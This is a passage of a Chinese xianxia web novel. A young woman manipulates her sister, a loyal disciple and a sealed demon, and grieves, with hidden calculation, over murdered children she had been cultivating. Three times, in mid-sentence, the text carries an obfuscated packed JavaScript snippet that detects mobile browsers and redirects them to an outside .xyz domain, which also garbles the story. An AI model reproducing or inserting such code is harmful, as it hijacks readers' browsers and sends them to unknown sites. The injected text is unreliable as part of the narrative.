若不说这是程蕴知置放衣服与首饰的地方,旁人怕要以为这里是什么藏宝阁。 光是寻常人不太能用得上的肩帛,程蕴知便有上千件,奢靡地置放了数个屋子。 用于置放衣裳的柜子箱子,都是用千年香木打造的,又有仙界顶尖的阵修布下大阵,每日都耗用万千灵石来滋养维护程蕴知的衣裳。 打理程蕴知衣裳首饰的婢女都上百人,里面不乏修为极高的修者。 程今越在世间飘荡了近百年,多得是上顿不接下顿的时候,这种屋子,她从来是想都不敢去想。 毕竟高位者的生活,也不是她这种朝不保夕的人能够幻想到的。 而如今,程今越这个许多人都看不起的,只有身上的血有用的废物,也站在了这个地方。 这是一件令人感到新奇的事情。 这让人的血液不禁为此燃烧起来,程今越的心中有什么东西在蠢蠢欲动。 这让她想起曾经站在雪山山巅朝下看的时候,那时天地辽阔,皆在她的眼中。 她能感受到人的气息,人的喜怒哀乐,感受到芸芸众生在山脚处汲汲营生。 程今越一直都对“喜”和“乐”这两种感情有些模糊,因为在她的一生中,从生下来便是在无尽地寻找活下去的办法。 这样的感情对她来说十分稀少,更多的是“怒”与“哀”,更仔细地说,应该是“痛苦”。 所以她对这样的情感非常熟悉。 她低头时,静静感受着,她感知到了许多痛苦的声音。 那时她产生了一种人都会产生的情绪——贪婪,欲望。 她能不能真正的站在山巅,掌控一切呢? 其他人能,她凭什么不能? “小妹,你真的好漂亮。”程蕴知拿着笔,轻轻地为程今越绘着眉。 程蕴知凑到程今越脸上,一双眼睛从她的眉头开始看起,眼眸,鼻梁,嘴唇,无一处不温柔而细腻。 程蕴知看着程今越换下来的素净衣服,一把丢到了地上,几个婢女连忙低下头上来捡走。 “小妹,把你那些衣服都给我扔了,那是人能穿的吗?我天极宫的下等婢女穿得都比你穿得好,我不准你穿那些破烂衣服了!” “小越明明长得如此好看,偏偏不爱打扮,现在我身体快好了,以后你就天天来我宫里,我每天都好好给你打扮!” 她拿着手上一套一套的衣裳在程今越面前比划着,脸上带着笑,想象着程今越穿上去的样子。 不过她又突然皱了眉。 “嗯……但是也不能打扮得太好看,因为小越长得太好看,万一被谁看上,他要娶你要来纠缠你怎么办?” “小越要永远和我一起玩,不可以嫁给别人。” 她拉着程今越多手,“小越如果嫁人了,就再也没有人陪我说话了。” 她眨巴着眼睛看着程今越,“我身子弱,出不去,婢女都害怕我,不敢同我说话……” “不过我身子马上要好了,马上便可以出门了,但是我都不喜欢他们,他们最虚假了,我只喜欢小越。” 她将头缩在程今越的怀里,蹭了又蹭,死死地抱住她。 她又觉得自己这个话说得有些不对。 “小越也可以嫁人,只要那男子入赘我们大衍剑宗就好,这样我也能每天看见小越。” 程今越也回抱住她,将手放在她的头上,声音温柔,“别担心,姐姐。” “我也最喜欢姐姐,我会永远陪着姐姐。” “我们永远都不分开。” 她们抱得很紧。 程今越能闻到程蕴知灵根的气息,的确在逐渐好转,最多还有几个月的时间了。 太可惜了,她可能等不到程蕴知的灵根恢复了。 这样好的灵根怕是要被这样浪费掉了。 “三小姐,孟朝公子找您。” 程今越微微一笑,比她想象的来得还早一点。 * 程今越现在的管理权由程望转到了程蕴知手上,行动便利了许多。 她跟着婢女在繁华的天极宫中走着,弯弯绕绕才走到了宫门。 孟朝站在门口等着她,看见程今越的一刻,孟朝突然愣住了。 程今越今天是装扮过的,不同于以往的素淡。 她身上穿着湖蓝的长裙,裙上缠绕着金丝银线,黑色的长发也被盘起来,头上金钗玉簪格外华丽。 作素雅打扮时,程今越便若一朵白花,作华丽打扮时,程今越的气质便跟真的大衍剑宗的大小姐别无二致,仿佛从来没有在外流浪过。 孟朝是第一次见程今越如此装扮,他心下一愣,才连忙朝她作揖,毕恭毕敬的。 “见过三小姐!” 孟朝悬着的心终于放下,他这几日一直吃不好睡不好,一闭眼便看到三小姐苍白的脸,带血的嘴角。 梦中程今越温柔的笑与她满身是血的样子来回交替着,他不得安眠。 他见不到程今越的时间里,常常懊悔与自责。 但他最清楚,自责是最没用的东西。 孟朝想拿着剑直接冲到程望面前,一剑把程望杀了,将这个恶鬼彻底斩杀掉。 他怎么能这样对三小姐呢?三小姐可是他的亲妹妹。 反正他孟朝无父无母,孑然一身,在这大衍剑宗也无甚好友,最值得他感恩的便是三小姐。 把程望杀了,为三小姐报仇,或许就是他唯一能对三小姐的事情了,就算死了又有什么关系呢? 可三小姐一向仁善,若是程望真的死了,三小姐一定不会原谅他的。 不过还好,三小姐今日既然有心打扮,或许还有心情与他人去玩乐,必然是身体好了。 想到此,孟朝要说的话突然就愣了起来,三小姐要出行,自己岂不是会打扰了三小姐。 他正犹豫着,程今越却已经猜到了他的心思。 “孟朝公子,我今日有空,并不是要出门。” “是……三小姐,孟朝这些日子总是忧心三小姐,看到三小姐没事就太好了。” 孟朝一直低着头不敢看程今越,但就是低着头,孟朝也比程今越高上一个头还要多。 他皮肤有些小麦色,长期的练武让他肌肉发达,虽然他已经见过三小姐很多次,但是仍然改不了紧张。 “之前三小姐带来了很多孩子在司医宫,我都手把手带过了,我也好多日没去看过了,大家都很想三小姐……” 孟朝突然觉得自己说的这个话有些歧义,“大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699795|155328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”这个词,包不包含他呢? 如果包含他的话,是不是有些怪,如果不包含的话…… 其实是包含的。 他显得越发紧张,他头低了越来越低。 “所以……想请三小姐同我一起去司医宫看看他们。” 他刚说完话,想去看程今越的意思,却发现程今越一直抬着头盯着他。 他瞬间觉得浑身发烫。 “好啊,我也很想大家呢。” 程今越轻轻朝孟朝一笑,高兴地答应着。 她的眼神一直淡淡的,但此刻孟朝却觉得自己的那句话好像被发现了,好像被从深处看穿了一般,整个人都变得赤/裸。 他体温越来越高,不敢回看程今越。 “我们边走边说吧。” 程今越说着,便走在了孟朝的前面。 孟朝急忙跟上程今越的身后,两人的肤色对比明显,体型对比更加明显,孟朝宽肩窄腰,比程今越大出了一倍。 “程望没来找你的麻烦?”程今越走在前面,回头看着他。 “没有。” “听闻他不知为何生了重病,请了许多出名的医修去疗伤。” 程今越突然好奇地抬眸。 “程望还诬陷是您做的,他真是畜生,胡言乱语,三小姐您都被他伤得这样重了!” “不过您放心,在场那么多人,都能证明您的清白!” 程今越轻轻笑着,摇了摇头,表示不在意。 在场就是没有人,也能证明她的清白。 她的灵根有多弱,谁都知道,大衍剑宗随便挑一个人都能打过她。 要说她能重伤程望,天下没一个人能信。 不过有意思的是,程望生了重病。 是受了重伤吧。 是谁做的呢? 在场的人,又还有谁呢,一点也不难猜。 不过这还挺让程今越意外的。 “程望定然是自己作的孽太多,报应来了,真活该。” “孟朝公子也要多小心,等他病一好,一定不会放过你的。” 孟朝摇了摇头,“三小姐别担心,我师父已经给了我一个住处,我以后都住在我师父那儿,程望胆子还大不到那个地步。” 孟朝虽然出身不好,但是一身的天赋格外出众,想收他为徒的不在少数,他如今拜入的便是大衍剑宗有名的长老名下,做了其首席大弟子。 孟朝没有出身,但是他的师父的出身可是极好的,又在大衍剑宗格外有着话语权,这也算是让孟朝找到了硬靠山。 走到司医宫前的一个人少的路口时,程今越突然站住了,她转过身看着孟朝。 “孟朝公子,我能请你帮我一个忙吗?”她看着孟朝。 孟朝看着程今越带笑的眼睛,他想都没有想,便直接点头。 他满眼期待着看着程今越。 孟朝自从认识三小姐之后,一直都是三小姐在帮他,他一直想要帮三小姐做事,但是三小姐几乎不吩咐他。 程今越手指在空中轻轻一点,一张近乎透明的纸出现,上面的字熠熠发光。 孟朝连忙跪在程今越身前,他将头低下,与地面齐平,将一双带茧的手伸出,等着那一张纸落到他的手上。 解开怀钰身上的封印需要天地法宝。 程今越低头看着跪在她身下,体型比她大一倍的孟朝,温顺乖巧得像一条狗。 养了这么久的乖小狗,终于也能发挥用场了呢。 13.第十三章 孟朝心跳得很快,她听见程今越轻轻一笑,落到他手上的却不是那一张纸,而是柔软而冰冷的触感。 程今越的手指轻轻捻住孟朝的指腹,将他轻轻抬起。 “孟朝公子,你我之间,无需这样讲礼。” 手尖上的触感让孟朝仿佛触碰到了灼热的火,他什么都还没有反应过来,脑子便习惯性地先听从了程今越的话。 他猛地站起身来,庞大的身躯一瞬间将程今越身前的光笼罩住。 他站起来的时候慌张失措地看了一眼程今越,又猛地低下了头,狠狠的低着。 “是,三小姐。” 程今越看见那小麦色的耳根冒出淡淡的深粉色,她脸上的笑更加深。 随后她将那张纸放在孟朝的手上。 孟朝连忙接过,仔细查看,却发现上面都是写的都是一些灵草与灵兽的部位,奇而又玄,有些他甚至没有听说过。 “记住了吗?”程今越缓缓地发问,眼睛一眨不眨地看着孟朝,耳坠上的血珠隐隐闪着光。 孟朝读书与习武都格外地有天赋,过目不忘只是他万千本事之一。 他点了点头。 随后这张纸消散在空中。 “今越知道,这些东西不好找,这样为难的事情交给孟朝公子,我心中也有些羞愧。” “但……公子也知晓我的处境,剑宗之内,今越唯有孟朝公子可以依托。” 她垂眸,细长的柳叶眉微蹙着,纤长的睫毛随之颤动。 “所以公子用些闲暇时刻去做就好,不必放在心上。当然,届时今越也定然会给公子我能拿出的最好的报答。” 她说完,仰起头,抬眸看着孟朝,眸中如春中雾。 “三小姐吩咐的事情,孟朝必不辱使命。”孟朝颤着眼眸瞥了一眼程今越满带希望的眼眸,随后恭恭敬敬地行了礼。 孟朝心猛烈地跳着,他顿时觉得今日的天气甚好,身上的病痛也仿佛不再存在。 他紧紧攥着手,用手指摩挲着手掌,那柔软的触感让他的手心发痒,带着他的心也一同颤动着,好像有辽阔的琴声响起,满足欲好像要溢了出来。 他不知道为什么心情好了起来。 人心情好的时候便会想起美好的事情。 比如三小姐,从人间带来的这些孩子。 这些孩子都才十多岁,意气风发,会让他想起春日里的风筝,五月的晨露,冬夜的星星。 并且他们无一例外天资都不错,他都有些震惊三小姐选人的眼光,总让他觉得比宗门的验灵石还要准。 并且他们大多无父无母,会让孟朝想起自己。 从最初只是因为三小姐才来司医宫,到现在发自内心地常来司医宫,教这些孩子功法。 孟朝喜欢这样的感觉,这里和冰冷的剑宗其他地方不同。 尽管这些孩子之后大多数他再也没有见过,三小姐说,有的回了人间,有的进了其他宗门,仅有少数留在了大衍剑宗。 虽然或多或少有些失落,不过孟朝也接受,毕竟大衍剑宗是个格外看重身世的地方,其实也不算个什么好地方。 这一批的孩子同样很聪明,学得都很快,这次考验一定会让三小姐满意的,这样也算是小小地报答了三小姐。 两人一路行至司医宫,王青生连忙出来接见。 “让上一批的孩子们出来呢,告诉他们三小姐来了。” “特别是阿年,上次他不是求着三小姐考验他吗。” 孟朝在程今越身后,朝王青生说着。 王青生看到是这二人的时候,脸色突然变得有些煞白。 作为司医宫的领事,王青生最擅长与人说话,而此刻他却突然支支吾吾。 他低着头,显得有些慌张失措。 孟朝突然背后一凉,他有一种不好的预感,他很熟悉这样的神情代表着什么。 他突然迈步,看着王青生,“王领事,怎么了?” 程今越也看着王青生,从来澄澈清明的眼也带上了疑惑。 “三小姐……” 王青生突然朝程今越猛地一跪,整个人几乎是匍匐在地上。 “三小姐……小的罪该万死!” “三小姐请责罚小的!” “小的没有做好三小姐吩咐的事情,求三小姐责罚!” 王青生朝程今越磕着头,“砰砰砰”的磕头声响起,每一道声音响起,孟朝的心都随之猛地一跳。 “到底怎么回事?”他干脆地问。 王青生抬起满是血的额头,颤颤巍巍地抬起头,哽咽着。 “那些孩子,在三小姐出事的第二日,仅一晚,便……” “便……” “便都殁了!” 程今越好像愣在了原地,她脸上常年带着的笑容在此刻烟消云散。 她瞪大着双眸看着王青生,神情有些恍惚。 她好像没有听清王青生的话,她尽力地去理解着,眼眸不断眨着,眼神躲闪着。 随着王青生哭泣的声音,程今越的眼眸越睁越大,那双黑白分明的眼睛中逐渐湿润了起来,随着变红的眼圈,那泪水一点点涌上她的眼眶,泪水无声地从她的眼眸中滚落。 程今越深深一口气,瘦削的肩膀也随之一颤,她快要站不稳了,像一只打湿翅膀的蝴蝶,在雨中摇摇欲坠。 孟朝连忙扶住程今越,才让她稳稳站在地上。 “你说什么?”程今越哭咽着,她难以置信地问着王青生。 王青生浑身颤抖着,他头死死地低着,“三小姐,小的那日亲眼看见孩子们都回去歇息了,晚上安安静静,没有任何声音。” “结果……小的第二日起身去看时,屋内已然全没了呼吸!” 王青生说着,脑海里就不断回想着那日的场景。 他如往常一般,巡察着司医宫,除了一些来往的普通的弟子,他没有看到任何奇怪的人。 剑宗的三小姐格外重视那些孩子,王青生虽然一贯瞧不起这些出身卑微的人,但是相处的时间一久,他倒也能接受这些小孩,无非是宫里面多了几个人罢了,多些人说话也是好事。 他记得每日天还没亮的时候,那群孩子便要起来练剑,而他惊讶地发现,今日只有一片空地,竟然一个人都没有。 王青生以为是孩子贪玩,睡过了。 于是他来到熟悉的门前,敲了敲门,唤着人名。 奇怪的是,没有一个人应答他。 王青生用钥匙打开门,门开的瞬间,浓烈的血腥味扑面而来。 他被吓得一下没将手中的钥匙拿稳。 他颤抖着进入房间,房中空无一人,只有已经凝固的血液黏在地上,已经成了绛紫色,触目惊心。 这血仿佛是有生命一般,钻进他的瞳孔之中,尖叫声从他的喉咙之中冒出。 只有血,没有尸体,格外诡异。 不……并不是没有尸体。 王青生一步步往前走着,他的脚踩上血液,好像踩到了什么活着的东西一般,恐惧从他的脚上蔓延到他的心中。 他看到房间的最深处,一个角落处,躺着一个熟悉的面孔。 阿年。 他的死相惨状,胸口有一个血淋淋的空洞,肠子与脏器从洞中落出来,头颅滚落到他的脚边,眼睛甚至都没有闭上,死死地盯着王青生。 他下意识就想去找程今越汇报,但却听到程今越进了天极宫,正受了重伤,此刻不见人。 王青生垂眸,叫人清理了房间,只是一道法术,屋内瞬间恢复如初,仿佛那日的死亡没有发生过一般。 王青生在大衍剑宗见过许多人的死亡,这些人的死亡在他见过的人中连个人物都不算,死了也不会引起任何人的注意。 毕竟他们只是三小姐发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726623|155328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 善心收回来的一些有些天赋的凡人,地位甚至不如长公子养的蛐蛐。 他叹了口气,一个人将唯一有尸首留下的阿年埋葬了,随后更加担心起自己来。 三小姐仁善,固然不会怪罪他,但是二小姐与三小姐关系极好,二小姐可不是那么好伺候的主。 这些年,死在他们两兄妹手里的人有多少,简直是不计其数。 不过是一句话,王青生一家人都得为这群凡人陪葬。 王青生将那日见到的东西一五一十地说了出来,每句话都像是针一样扎在程今越的心中。 程今越用手捂着双眼,她低着头,声音哭得嘶哑,泪水从她的指缝流出,像是黄昏之中的梅雨。 她的眼泪像是破碎的琉璃,每一道碎片都割在孟朝的血肉之中。 孟朝从来没有如此无助过,就好像是过年时他一个人看着屋内热闹的喧嚣声。 “我不信,我不信他们死了。”程今越绕过王青生进入司医宫。 她步伐中带着小跑,头上的玉珠碰撞作响,她路过他们练剑的地方,空无一人。 她跑到他们住的地方,她轻轻推开门,门中空无一人。 几张床干净整洁,好像没有人住过一般,看不出任何有人生活过的痕迹。 她愣愣地从外往里走着,一直走到最深处,屋里面已经没有了他们的气息。 “是谁做的?”程今越看着空荡荡的房间,头脑中闪烁过无数张人脸。 她的声音轻飘飘的,没有任何力气,带着哭声。 “还能有谁?” “肯定是程望……” “一定是程望!” 孟朝带着怒意地声音从喉咙之中冒出。 除了程望还有谁敢跟三小姐作对? 这些人虽然是平民百姓,但是有三小姐在明面上罩着,三小姐就算式微,也代表着大衍剑宗。 谁又会要命的和剑宗作对? 就算是有,那也一定是有程望的指使。 程望去教训三小姐,结果不仅没得到好处,自己还受了伤,还一度认为是三小姐做的,所以他心怀不满,转身就对这些孩子们下了毒手。 这完全是程望干得出来的事情,完全是这个畜生做得出来的事情。 况且如若不是程望手下的人,王青生又怎么会毫无察觉。 一切的逻辑都如此通顺,程望那张令人作呕的脸再次浮现在孟朝脑中。 他青筋暴起,手死死握着身后别着的剑。 只要三小姐一点头,他现在就可以连性命都不好,迅速将程望的头砍下来! “王领事,这是真的……吗?” 程今越轻飘飘地问,眼中失了神,还带着隐隐约约的怒意。 王青生没有说话,只是将头低得更低。 怒意在程今越的心中灼灼燃烧。 到底是谁做的,到底是谁做的? 她要把他杀了,她要将他碎尸万段,她要将这人一点点千刀万剐。 竟然敢坏她的计划? 阿年怎么会死? 阿年那么好的灵根,那样诱人的灵根。 她还没有享用! 她死死的攥着手,指节发白,任由指尖一点点陷入肉之中。 是谁是谁是谁是谁是谁! 杀了你杀了你杀了你杀了你! 她千辛万苦在人间找到的这么好的灵根,就这么死了? 她每七日便要给程蕴知喂一次血,在程望的控制之下伸出一点手,用尽心力培养的阿年,就这么死了? 她那日明明记得很清楚,她走的时候,阿年还好好地躺在那儿。 阴湿的注视终于不再躲藏,从她的背后幽幽地升起,肆意地打量着她,从里到外,从她眼角朦胧的泪,到她快要出血的掌心。 程今越甚至不用去想,便能知道那张脸上挂着一张得意而张狂的笑。 14.第十四章 程今越愣在原地,纵使她脸上施了厚厚地粉黛,也难掩她的脸色苍白。 她的哭声渐渐熄灭,风声从门外悄悄吹入,将她的衣衫吹起。 没有人说话,长久的沉默像冰一样膨胀。 孟朝看着她的背影,纵使身着华服,但也难掩她的瘦削。 她垂着眸,轻轻拭去眼角的泪,将睫毛上剔透的水珠抖落。 她转身便离开这间屋子,朝着司医宫外面走去,没有一丝回头。 孟朝猛地跟上去,他尝试地开口安慰几句程今越,却又不知如何开口。 天上的云遮住了光,天色逐渐暗了下来,程今越却倏地转头,她脸上的泪痕还没干,隐隐闪着光,她嘴角勾起一抹勉强的笑,“别难过,孟朝。” 微凉的风打在他的身上,他看见程今越伸手摸了摸耳坠上的那血红色的柱子,背着光侧着脸看着他,“没事的,孟朝。我们现在太弱,做不到去反抗。” 她低头,看着孟朝紧紧握着剑的手,上面带着疤痕。 “但是别着急,我们有的是时间,这样的日子不会太久的。” 她低垂的眸瞬间抬起,直直地看着孟朝,像是洗涤伤口的雨水。 程今越没有回头,她直直地往前走,她打算回自己的寝宫,随后便看到眼前毕恭毕敬站着的几十位婢女,她才想起自己如今是住在天极宫了。 天极宫很大,程蕴知专门给她留了一个硕大的宫殿,比她原先住的地方都大了一倍不止。 所有人都看得出来三小姐的神色不算好,大家都知道三小姐的习惯,随后一批批人便挨着退下,偌大的宫中就剩下程今越一人。 她一个人坐在铜镜前,将头上繁琐的簪子全部取下来,每取下一个簪子,一道黑色的长发便落到她的腰间。 但程今越脸上的笑却没有消失,她的眼眸没有张开,嘴角却轻轻勾起一个弧度,像是阴湿黏涩的雨中的红灯笼。 她只灵念轻微一动,耳坠上的血珠便好似活了过来,里面的血像鱼一样游动着。 最终她的脑海中传来了那熟悉的声音,“神女殿下,你终于想起我啦。” 怀钰从程今越的身后猛然出现,他倾身向前,探出脑袋,一张脸出现在程今越的面前。 在程今越的余光中,她看见那如刀刃一般的下颌线,那张漂亮的脸上突然露出一个笑容,雪白的利齿清晰可见,眼神微眯,锐利又锋芒毕露。 “我还以为你这一辈子都不会把我们之间的神识连起来呢。” “哎哎哎,真是难得呀。” “神女殿下好像哭过了?为什么要哭啊?” “是因为那个小孩吗?” “那么弱的废物,死了就死了,有什么好哭呢?” “你怎么总是爱为废物哭呢,神女殿下。” “你的眼泪真廉价啊。” 程今越的眼眸一眨不眨,她脸上带着笑,跟随着怀钰的话轻轻地点着头。 “怀钰为什么要杀阿年呢?” “可以告诉我吗?” 泠泠的声音响起,程今越突然问道,静静的,像一滩湖水。 怀钰突然愣住,没想到竟然被程今越发现了。 那可是程今越同样很喜欢的阿年,被发现阿年被自己亲手杀了,程今越会怎么想呢? 强烈的期待感让他无法控制自己的表情。 他顿了一下,随后猖狂地大笑起来,眼睛跟随着他夸张的面部表情而放大,眼眸之中过多的空白让他的表情显得有些诡异。 阿年是她带进大衍剑宗的,他也是她带进大衍剑宗的。 程今越还口口声声地说爱他,那么现在呢? 他可是亲手杀了阿年,程今越这个善人发现自己的行为害死了一个无辜的孩子,该会有多难过,多伤心,多痛苦呢? 越想到程今越的反应,怀钰浑身就开始兴奋得要颤抖起来,笑声从他的嘴里不住地发出,他死死地盯着程今越的表情,像是在欣赏一出戏。 高大的身躯将程今越完全笼罩着,他癫狂的目光与程今越平和的眼神对视着,直愣愣地,不加回避的,赤裸的。 低哑的声音在程今越的耳边响起,带着难以压制的喜悦,“原因?没有原因。” “魔杀人,需要原因吗?” “我想杀就杀了,不好吗?” “哈哈哈——” 程今越只是稳稳地坐着,静静看着怀钰,她细细的柳叶眉微微挑起来,有些漫不经心。 怀钰见程今越没有什么反应,他嘴角的笑突然有些绷不住,他要再加一把火,“神女殿下,想哭就哭吧,没有什么丢脸的,不是吗?” “你和一只魔做交易,害死了一个无辜的孩子,你的难过是应该的,这就是代价!” 他说完,随即又大笑起来,他甚至凑到程今越的面前,想要看清她的变化,好像一个幼童在观察蚂蚁,懵懂又新奇。 程今越却倏地一笑,“怀钰,撒谎可不是一个好孩子哦。” 她轻轻摇了摇头,眼皮不可见地抬了抬,她直白地看着怀钰。 恍若是一盆冷水泼到怀钰的身上,他脸上的笑在一瞬间消失,不知名的怒意在他的眼底燃起。 “我撒了什么谎?” 程今越突然站起身来,凑到怀钰的眼前。 她猛地往前走了一步,怀钰不知为何往后退着。 “怀钰为什么要对我说谎呢?” “我很爱怀钰,怀钰不也爱我吗?” 她一把握住怀钰的手,死死攥着,不让他继续往后退。 她的眼睛明亮纯粹,好像能够洞察人心,能够看透一切。 “我们为什么要对彼此隐瞒呢?” “怀钰,你再仔细,想想呢?” 程今越睫毛轻颤,带着一丝灵动,小巧的脸上嘴唇轻抿,带着一抹浅笑,却没有什么温度,像是一个刻板的人偶。 她的声音依旧那样不急不慢,好像没有任何东西能够影响她真正的情绪,她有足够的耐心。 程今越的声音让怀钰脑海不断回忆着,像汹涌的潮水将他那苍白的借口淹没。 为什么要杀阿年? 还能为什么? 他的眼睛突然看着程今越抓着他的那双手,纤细如玉,指尖微微泛红。 他记得这双手放在他头上的感觉,冰凉,却有一种莫名的温柔。 怀钰记得这双的指尖插入他的发间,一点一点温柔地揉搓着,那时程今越看他的眼神好温柔。 他总是不知觉的回忆起。 像是上了瘾,像是人可以忍痛,却难以忍痒。 直到怀钰突然再一次看到了阿年。 他在不见光的角落,隐藏着气息与身躯,怀钰本就强,再加上程今越的帮助,他的封印越来越松动,在大衍剑宗隐藏起来可谓是十分轻松。 他看见阿年在练剑,看见有好多人围在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756320|155328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身边,看见他脸上灿烂的笑,看见他的开心,看见他好受欢迎。 最重要的是,他想起来了程今越。 怀钰记得那日,程今越已经发觉了他的存在,她来司医宫找他。 那时阿年出现了。 说的什么,他早就记不得了。 一切的画面瞬间模糊,最后停留在关键的一刻。 他看见程今越伸出了手,放在了阿年的头上,温柔地揉搓着。 程今越的笑在怀钰的脑海里无尽放大,她也对阿年那样温柔地笑,她好喜欢阿年,她好信任阿年。 眼前所有的画面顿时扭曲,随着堵塞的心头一起被撕裂开。 好像有虫蚁爬到了怀钰的身上,钻心地疼痛透过他的骨髓,钻进他的血液。 像是暴雨前的沉闷,潮湿与闷热将他的肌肤裹起来,像是踩入了酸涩的沼泽,无力的挣扎,最后将他淹没,不能呼吸。 凭什么?凭什么?凭什么! 阿年明明就是一个废物,那么烂的灵根,那么废物的天赋,那么微弱的实力,凭什么也能得到程今越的笑? 凭什么能让程今越伸出手,低下头,温柔地,一点一点地,抚摸他的头? 声音在此刻好像在怀钰的耳朵里消失了,只剩下一阵嗡鸣。 他只有一个念头。 去死吧。 和他争夺爱的人,都去死吧。 怀钰浑身颤抖,他不敢对上程今越的眼睛。 他在世间活了这么多年,其实都没怎么跟人好好地对视过。 他甚至没有怎么说过话,更不提说谎。 他根本不知道如何应对这样的情况,应该如何应对程今越的目光。 怀钰慌张失措,像一个犯了错的孩子。 “我没有撒谎!我没有!” 他不知道自己在说什么,只是跟随着本能在说着话。 他讨厌这么聪明的程今越,他讨厌将一切都看透的程今越,他讨厌根本没有弱点的程今越。 明明她对阿年那样温柔,她却只是在外人面前落两滴眼泪,一到他的跟前,便好像什么事情都没有发生过一般。 她明明知道他就想看她落泪。 程今越为什么这么聪明? 怀钰其实根本看不懂程今越在想什么,他不知道程今越的情感,她的情绪表面上像一张白纸,但是实际上是他根本看不懂的深渊。 他无力地辩解着,随后听见程今越不慌不忙地声音,“怀钰,我为你付出了爱,你却对我撒谎,怎么可以这样呢?” “这样的话,就连是我,也会难过的呢。” 她抓住怀钰的手,将怀钰滚烫的手放在她的胸口,“怀钰,你听,我的心好难过,因为你在对我撒谎。” 怀钰整个人都怔住,他想缩回手,却被程今越紧紧地抓住。 “怀钰,辜负真心的人会得到惩罚,这是一个大家都知道的道理,你很聪明,你也懂的吧?” 程今越静静地说着,一边将头上的簪子取下,最终她的头上一无所有,黑色的长发柔顺地垂下,身上唯一的首饰便是那一对血色的珠子。 怀钰一种奇怪的情绪在他的心中放大,他看见程今越身上什么都没有戴,只有用他血做成的耳坠。 这是一种莫名其妙的满足感,占有欲。 而就在一瞬间,程今越将耳坠取下,轻轻地扔到了地上,毫不在意,好像是不认识的垃圾一般。 15.第十五章 耳坠落到地上,只听到细细的破碎声,那颗血色的珠子便出现了密密麻麻的裂痕,里面包裹的血液随着缝隙流淌而出,紧接着凝固。 一切发生得那样快,快得怀钰都还没有反应过来。 “不要!” 他愣愣地待在了原地,看着那破碎的珠子,愤怒与疼痛从他的心口溢出,他眼睛瞬间变得痛恨,他死死地看着程今越。 “你干什么!” 程今越只是看着他,用手撑着脸,歪着脸,另一只手随意地放着,“嗯?怀钰很在意这个东西吗?” 怀钰狠狠地喘着气,高大的身躯伴随着他的呼吸随之颤抖。 “在意?我为什么要在意?” 他冷笑着。 “那怀钰为什么这么生气呢?” “真的不在意吗?” 程今越笑着问,她梳着自己的长发,边抬头问着。 “不在意就是不在意!没有为什么!” 他愤怒道。 程今越摇了摇头,缓缓靠近怀钰,她轻轻牵起他的手,她抬头望着他,“怀钰,我说了,撒谎不是一个好习惯。” “我什么时候对你撒过谎吗?” “没有吧。” “就算怀钰杀了阿年,我也未改变过对怀钰的爱意,不然我现在已经死在血契之下了。” “对吧?” 怀钰听着程今越的声音,心中的躁动突然慢慢平静了下来,他觉得自己可能是被程今越下了蛊。 “承认自己的情绪,并不是一件很坏的事情,特别是在对我的时候。” “我爱你,我就这样轻松地说出口了。” “怀钰明明是爱我的,不是吗?” “如果怀钰不爱我,为什么要杀阿年呢?” “因为怀钰嫉妒他。” “怀钰担心我会喜欢阿年,担心我的爱会分给其他人,担心我会离开怀钰。” “但是不会的,怀钰,我永远不会离开你。” “我会永远爱你。” 程今越的声音像洞穴,神秘的,模糊的,像荒野里开的一朵红色的花。 两人靠得格外的近,声音在缠绵,气息在交融,怀钰能听见他们彼此的心跳。 他感觉他的心被一双冰冷的手握住,死死掌控着。 程今越轻轻用指尖割开怀钰的指尖,一滴血落到她的手中,重新凝成了一颗血珠。 “我知道,怀钰以前过得很难很难,所以怀钰不想相信任何人。” “这样没有任何问题,怀钰是对的,因为其他人就是很坏很坏。” “但我不一样,我和你是一样的,我们同样恨着他们,我们签订了血契,我永远不会背叛你。” “我会去听怀钰的每一句话,我会擦干你的眼泪,我会抱紧你,我们之间永远可以信任。” 程今越温柔地说着,她的声音像是秋日寒凉晚间的一抹灯火,像是从前的童谣,像寂静的山庄,像雪山上逐渐撒下的一片金光,神圣庄严又宁静。 程今越的手缓缓环抱住怀钰,她的头埋在怀钰的怀中,轻轻地蹭着,他们的体温在传递。 “所以,怀钰可以对我说真话吗?” 她捧起怀钰的脸,一字一句地说。 “说‘怀钰也爱你’,‘怀钰也在意你’。” 那颗血珠就在程今越的手中,仿佛方才的破裂没有发生过一般,再次完好如初地躺在那里。 他有一种最纯粹的愿望——想让程今越重新戴上它。 怀钰愣了愣,喉咙滚了又滚。 他已经失去了所有的思考,脑海中只有程今越的声音。 柔软,让他彻底放下手中的刀。 “怀钰……也爱你?” 他不熟练地说着,还带着些许疑问,因为他好像不懂得什么是爱。 